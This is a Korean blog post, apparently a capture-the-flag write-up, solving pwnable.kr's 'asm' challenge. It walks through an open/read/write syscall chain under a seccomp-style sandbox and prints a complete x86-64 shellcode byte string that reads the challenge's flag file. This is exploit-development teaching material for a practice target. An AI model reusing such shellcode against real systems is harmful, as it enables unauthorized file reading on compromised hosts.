본문 바로가기

PWNABLE/pwnable.kr

asm (6points)

그림1. pwnable.kr asm 설명화면

해당 문제를 확인해본 결과

쉘코드를 만드는 문제로 예상된다.

 

해당 문제에 접속해보자.

 

그림2. 디렉토리 목록

 

해당 디렉토리를 확인해본 결과

문제 바이너리와 소스코드, readme, 플래그 파일이 주어져있다.

 

readme 파일을 확인해본 결과

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

다음과 같은 설명이 주어져있다.

실제 문제를 풀기 위해서는 포트 9026으로 접속하면 될 것으로 확인된다.

 

주어진 바이너리의 소스코드를 확인해보겠다.

 

소스코드를 확인해본 결과

64bit 기반의 shellcode를 입력하여 플래그를 획득하는 것으로 확인되는 데, sandbox가 걸려있다.

sandbox 조건에 따르면 open()/read()/write() 함수만을 이용할 수 있는 것으로 확인된다.

 

 

또한 주어진 stub코드에서는 모든 레지스터를 초기화 시키는 것으로 확인된다.

그러므로 이후부터는 syscall을 이용하여 open → read → write 순으로 호출하여 플래그를 획득하면 된다.

 

문제해결을 위해 실제 로직을 작성해보자.

 

 

 

해당 소스코드를 컴파일[gcc -o syscall_practice syscall_practice.c]해서 실행시켜 본 결과

다음과 같이 정상적으로 플래그 파일을 읽어서 화면에 출력하는 것을 확인할 수 있다.

 

해당 문제를 간단히 풀기 위해서는 pwntool이라 shellcraft를 이용하면 되지만 문제의도에 충실하게 하기 위해서

실제로 어셈블리 프로그래밍을 진행해서 풀어보겠다.

 

어셈블리 프로그래밍을 진행하기전에 필요한 syscall은 open, read, write이며 해당 테이블을 첨부해두겠다.

 

 

 

 

다음과 같이 nasm을 이용하여 해당 소스코드를 컴파일 해본결과

정상적으로 open → read → write 함수를 통해 다음과 같이 정상적으로 syscall을 호출하며 파일의 내용을 화면에

출력하는 것으로 확인된다.

 

 

objdump를 이용하여 확인해본 결과 다음과 같은 바이트 코드들을 확인할 수 있다.

로컬에서는 정상적으로 구동되지만 실제 플래그를 얻어내기 위해서는 유의할 점이 있다.

1. \x00에 해당하는 null값들이 바이트 코드에 포함되어 있다.

2. 읽을 파일의 이름을 직접 구성해줘야 한다.

3. buffer의 주소를 지정해줘야 한다.

 

이를 적용한 어셈블리 코드를 재작성해보겠다.

 

 

buffer의 주소는 임의로 지정해주었으며 이제 이를 통해 바이트 코드를 추출해보자.

 

 

다음과 같은 쉘코드를 얻을 수 있다.

"\x48\x31\xc0\x48\xb8\x6f\x30\x6f\x30\x6f\x6e\x67\x00\x50\x48\xb8\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x50\x48\xb8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xb8\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x30\x30\x30\x30\x30\x6f\x6f\x6f\x50\x48\xb8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xb8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xb8\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x50\x48\xb8\x73\x5f\x76\x65\x72\x79\x5f\x6c\x50\x48\xb8\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x50\x48\xb8\x5f\x74\x68\x65\x5f\x66\x69\x6c\x50\x48\xb8\x6c\x65\x2e\x73\x6f\x72\x72\x79\x50\x48\xb8\x5f\x74\x68\x69\x73\x5f\x66\x69\x50\x48\xb8\x61\x73\x65\x5f\x72\x65\x61\x64\x50\x48\xb8\x66\x69\x6c\x65\x5f\x70\x6c\x65\x50\x48\xb8\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x50\x48\xb8\x70\x77\x6e\x61\x62\x6c\x65\x2e\x50\x48\xb8\x74\x68\x69\x73\x5f\x69\x73\x5f\x50\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\xe7\x48\x31\xf6\x48\x89\xf2\x0f\x05\x48\x89\xc7\x48\x31\xc0\xbe\x40\x48\x41\x41\x66\xba\xe8\x03\x0f\x05\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7\xbe\x40\x48\x41\x41\x66\xba\xe8\x03\x0f\x05\x00"

 

실제로 pwnable.kr 서버에 접속하여 다음과 같은 페이로드를 전송 시

 

 

정상적으로 플래그를 획득할 수 있다.

 

 

 

 

 

 

 

 

'PWNABLE > pwnable.kr' 카테고리의 다른 글

unlink (10points)  (0) 2019.07.01
loveletter (50points)  (0) 2018.08.30
echo2 (50points)  (0) 2018.08.28
echo1 (25points)  (0) 2018.08.26
fsb (20points)  (0) 2018.08.24